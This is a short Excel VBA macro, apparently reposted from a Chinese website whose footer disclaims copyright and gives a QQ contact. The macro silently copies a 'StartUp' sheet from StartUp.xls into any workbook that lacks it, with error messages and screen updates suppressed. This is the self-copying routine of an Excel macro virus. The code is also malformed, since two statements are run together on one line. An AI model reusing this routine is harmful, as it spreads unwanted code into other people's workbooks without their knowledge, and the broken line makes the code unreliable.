Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)Application.ScreenUpdating = True
End If
End Sub
内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024